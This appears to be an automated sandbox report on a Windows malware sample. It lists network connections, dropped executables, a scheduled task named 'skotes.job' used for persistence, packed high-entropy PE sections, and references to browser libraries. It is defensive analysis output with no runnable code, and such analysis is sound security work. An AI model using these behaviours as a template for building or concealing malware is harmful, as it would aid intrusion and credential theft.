Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50139 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50151 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 50150 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50152 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50147 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50139
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50138
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50149 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50131
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50130
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443

Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.53.17:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.53.17:443 -> 192.168.2.6:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.36.55:443 -> 192.168.2.6:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.36.55:443 -> 192.168.2.6:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.36.55:443 -> 192.168.2.6:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.31.169.57:443 -> 192.168.2.6:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.6:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49809 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49936 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.6:49975 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:50000 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.31.169.57:443 -> 192.168.2.6:50003 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.31.169.57:443 -> 192.168.2.6:50002 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:50064 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:50070 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:50075 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:50149 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: DocumentsJEBKKEGDBF.exe.0.dr	Static PE information: section name:
Source: DocumentsJEBKKEGDBF.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsJEBKKEGDBF.exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .rsrc
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: skotes.exe.30.dr	Static PE information: section name:
Source: skotes.exe.30.dr	Static PE information: section name: .idata
Source: skotes.exe.30.dr	Static PE information: section name:
Source: aa08c11115.exe.37.dr	Static PE information: section name:
Source: aa08c11115.exe.37.dr	Static PE information: section name: .rsrc
Source: aa08c11115.exe.37.dr	Static PE information: section name: .idata
Source: aa08c11115.exe.37.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C9BB700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BB8C0 rand_s,NtQueryVirtualMemory,	0_2_6C9BB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C9BB910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C95F280

Source: C:\Users\user\DocumentsJEBKKEGDBF.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9535A0	0_2_6C9535A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C966C80	0_2_6C966C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B34A0	0_2_6C9B34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BC4A0	0_2_6C9BC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97D4D0	0_2_6C97D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9664C0	0_2_6C9664C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C996CF0	0_2_6C996CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95D4E0	0_2_6C95D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C995C10	0_2_6C995C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A2C10	0_2_6C9A2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CAC00	0_2_6C9CAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C542B	0_2_6C9C542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C545C	0_2_6C9C545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C965440	0_2_6C965440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C990DD0	0_2_6C990DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B85F0	0_2_6C9B85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97ED10	0_2_6C97ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C980512	0_2_6C980512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96FD00	0_2_6C96FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C975E90	0_2_6C975E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BE680	0_2_6C9BE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B4EA0	0_2_6C9B4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95BEF0	0_2_6C95BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96FEF0	0_2_6C96FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C76E3	0_2_6C9C76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C997E10	0_2_6C997E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A5600	0_2_6C9A5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B9E30	0_2_6C9B9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C979E50	0_2_6C979E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C993E50	0_2_6C993E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A2E4E	0_2_6C9A2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C974640	0_2_6C974640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95C670	0_2_6C95C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C6E63	0_2_6C9C6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A77A0	0_2_6C9A77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C986FF0	0_2_6C986FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95DFE0	0_2_6C95DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C997710	0_2_6C997710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C969F00	0_2_6C969F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9860A0	0_2_6C9860A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C50C7	0_2_6C9C50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97C0E0	0_2_6C97C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9958E0	0_2_6C9958E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C967810	0_2_6C967810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99B820	0_2_6C99B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A4820	0_2_6C9A4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C978850	0_2_6C978850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97D850	0_2_6C97D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99F070	0_2_6C99F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C995190	0_2_6C995190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B2990	0_2_6C9B2990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98D9B0	0_2_6C98D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95C9A0	0_2_6C95C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97A940	0_2_6C97A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AB970	0_2_6C9AB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CB170	0_2_6C9CB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96D960	0_2_6C96D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CBA90	0_2_6C9CBA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96CAB0	0_2_6C96CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C2AB0	0_2_6C9C2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9522A0	0_2_6C9522A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C984AA0	0_2_6C984AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C998AC0	0_2_6C998AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C971AF0	0_2_6C971AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99E2F0	0_2_6C99E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C999A60	0_2_6C999A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95F380	0_2_6C95F380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C53C8	0_2_6C9C53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99D320	0_2_6C99D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C955340	0_2_6C955340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96C370	0_2_6C96C370
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 37_2_002A8860	37_2_002A8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 37_2_002A7049	37_2_002A7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 37_2_002A78BB	37_2_002A78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 37_2_002A2D10	37_2_002A2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 37_2_002A31A8	37_2_002A31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 37_2_00264DE0	37_2_00264DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 37_2_00264B30	37_2_00264B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 37_2_00297F36	37_2_00297F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 37_2_002A779B	37_2_002A779B

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C9994D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C98CBE8 appears 134 times

Source: aa08c11115.exe.37.dr	Static PE information: No import functions for PE file found
Source: random[1].exe.0.dr	Static PE information: No import functions for PE file found

Source: aa08c11115.exe.37.dr	Static PE information: Data appended to the last section found
Source: random[1].exe.0.dr	Static PE information: Data appended to the last section found

Source: file.exe, 00000000.00000002.2735261199.000000006CBD5000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: udalqcww ZLIB complexity 0.994636350896861
Source: DocumentsJEBKKEGDBF.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9981799216621253
